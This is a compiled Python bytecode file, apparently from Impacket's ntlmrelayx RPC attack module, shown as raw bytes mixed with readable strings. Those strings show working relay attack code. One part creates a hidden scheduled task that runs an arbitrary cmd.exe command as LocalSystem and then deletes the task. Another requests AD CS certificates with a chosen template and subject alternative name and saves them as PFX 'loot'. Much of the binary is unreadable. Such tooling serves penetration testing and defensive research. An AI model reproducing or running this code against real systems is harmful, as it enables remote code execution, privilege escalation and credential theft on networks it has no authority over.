o
    àý°j[  ã                   @   sÒ   d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZmZ d dlmZ d dlmZ d d	lmZ d d
lmZ dZg ZG dd„ dƒZG dd„ dƒZG dd„ deeƒZdS )é    N)Úcrypto)Úload_der_x509_certificate)Údefault_backend)ÚLOG)ÚtschÚicpr)ÚNULL)ÚDCERPCSessionError)ÚProtocolAttack)Ú
ADCSAttackÚ	RPCAttackc                   @   s   e Zd Zdd„ Zdd„ ZdS )ÚTSCHRPCAttackc                    s(   ddddddœ‰ d  ‡ fdd	„|D ƒ¡S )
Nz&amp;z&quot;z&apos;z&gt;z&lt;)ú&ú"ú'ú>ú<Ú c                 3   s   � | ]	}ˆ   ||¡V  qd S ©N)Úget)Ú.0Úc©Úreplace_table© ú¡/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/rpcattack.pyÚ	<genexpr>0   s   € z,TSCHRPCAttack._xml_escape.<locals>.<genexpr>)Újoin)ÚselfÚdatar   r   r   Ú_xml_escape(   s   ûzTSCHRPCAttack._xml_escapec                 C   s  d  dd„ tdƒD ƒ¡}d}d| jj }t d| jj| jf ¡ d|  |¡|  |¡f }t d	| ¡ t 	| j
d
| |tjttj¡ t d| ¡ d}t | j
d
| ¡ |sxt d| ¡ t | j
d
| ¡}|d d dkrqd}nt d¡ |rVt d| ¡ t | j
d
| ¡ t d¡ d S )Nr   c                 S   s   g | ]}t  tj¡‘qS r   )ÚrandomÚchoiceÚstringÚascii_letters)r   Ú_r   r   r   Ú
<listcomp>4   s    z&TSCHRPCAttack._run.<locals>.<listcomp>é   zcmd.exez/C %sz-Executing command %s in no output mode via %sal  <?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>%s</Command>
      <Arguments>%s</Arguments>
    </Exec>
  </Actions>
</Task>
        zCreating task \%sz\%szRunning task \%sFz$Calling SchRpcGetLastRunInfo for \%sÚpLastRuntimeÚwYearr   Té   zDeleting task \%sz
Completed!)r   ÚrangeÚconfigÚcommandr   ÚinfoÚstringbindingr    r   ÚhSchRpcRegisterTaskÚdceÚTASK_CREATEr   ÚTASK_LOGON_NONEÚ
hSchRpcRunÚdebugÚhSchRpcGetLastRunInfoÚtimeÚsleepÚhSchRpcDelete)r   ÚtmpNameÚcmdÚargsÚxmlÚdoneÚrespr   r   r   Ú_run2   s,   *Ö,
úzTSCHRPCAttack._runN)Ú__name__Ú
__module__Ú__qualname__r    r@   r   r   r   r   r   '   s    
r   c                   @   s   e Zd Zdd„ ZdS )ÚICPRRPCAttackc              
   C   s„  t  ¡ }| t jd¡ | jtv rt d| j ¡ d S | jj	}|d u r,| j 
d¡r*dnd}t d| j|f ¡ t || j| jjt j¡}t d¡ d| g}| jjd ur[| d	| jj ¡ t d
¡ ztj| j||| jjd�}W n4 ty¢ } z(|jdkrƒt d| ¡ n|jdkr�t d| ¡ nt d| ¡ W Y d }~d S d }~ww t | j¡ t|tƒ d�}t | jp»t |¡p»d¡}t | ¡ |¡}	tj  | jj!d "|¡¡}
t d|
 ¡ z0tj #| jj!¡sèt $| jj!¡ t%|
dƒ�}| &|	¡ W d   ƒ n1 sýw   Y  t d¡ W n& t'�y. } zt d¡ t d|t( )|	¡ *¡ f ¡ W Y d }~nd }~ww | jj�r@t d "| jj¡¡ d S d S )Ni   z3Skipping user %s since attack was already performedú$ÚMachineÚUserz,Generating a CSR for user %s and template %szCSR generated!zCertificateTemplate:%sz
SAN:upn=%szGetting certificate...)Úcal   W   z?Error occured while getting certificate: %s Check your CA name?l      zIError occured while getting certificate: %s Maybe encryption is enforced?z3Unknown error occured while getting certificate: %s)ÚbackendÚcertificatez{}.pfxz!Writing PKCS#12 certificate to %sÚwbz(Certificate successfully written to filezSUnable to write certificate to file, printing B64 of certificate to console insteadz,Base64-encoded PKCS#12 certificate (%s): 
%sz/This certificate can also be used for user : {})+r   ÚPKeyÚgenerate_keyÚTYPE_RSAÚusernameÚELEVATEDr   r.   r,   ÚtemplateÚendswithr5   r   Úgenerate_csrÚaltNameÚFILETYPE_ASN1Úappendr   ÚhCertServerRequestr1   Úicpr_ca_namer	   Ú
error_codeÚerrorr   r   Ú_sanitize_filenameÚ_extract_certificate_identityÚgenerate_pfxÚto_cryptography_keyÚosÚpathr   ÚlootdirÚformatÚisdirÚmkdirÚopenÚwriteÚ	ExceptionÚbase64Ú	b64encodeÚdecode)r   ÚkeyÚcurrent_templateÚcsrÚ
attributesrJ   ÚeÚcert_objÚpfx_filenameÚcertificate_storeÚoutput_pathÚfr   r   r   r@   }   s`   





€ù	ÿ
€ý
ÿzICPRRPCAttack._runN)rA   rB   rC   r@   r   r   r   r   rD   |   s    rD   c                   @   s$   e Zd ZdgZddd„Zdd„ ZdS )r   ÚRPCNc                 C   s<   t  | |||||¡ || _| ¡ | _| j ¡ | _|j| _d S r   )	r
   Ú__init__r1   Úget_rpc_transportÚrpctransportÚget_stringbindingr/   Úrpc_modeÚendpoint)r   r,   r1   rO   ÚtargetÚrelay_clientr   r   r   rv   ·   s
   
zRPCAttack.__init__c                 C   sR   | j dkr| jjd urt | ¡ d S t d¡ d S | j dkr%t | ¡ d S tdƒ‚)NÚTSCHzNo command provided to attackÚICPRzNot implemented!)	r{   r,   r-   r   r@   r   rZ   rD   ÚNotImplementedError)r   r   r   r   Úrun¾   s   

zRPCAttack.run)NN)rA   rB   rC   ÚPLUGIN_NAMESrv   r�   r   r   r   r   r   ´   s    
)rh   r_   r7   r#   r!   ÚOpenSSLr   Úcryptography.x509r   Úcryptography.hazmat.backendsr   Úimpacketr   Úimpacket.dcerpc.v5r   r   Úimpacket.dcerpc.v5.dtypesr   Úimpacket.dcerpc.v5.icprr	   Ú$impacket.examples.ntlmrelayx.attacksr
   Ú;impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattackr   ÚPROTOCOL_ATTACK_CLASSrP   r   rD   r   r   r   r   r   Ú<module>   s&   U8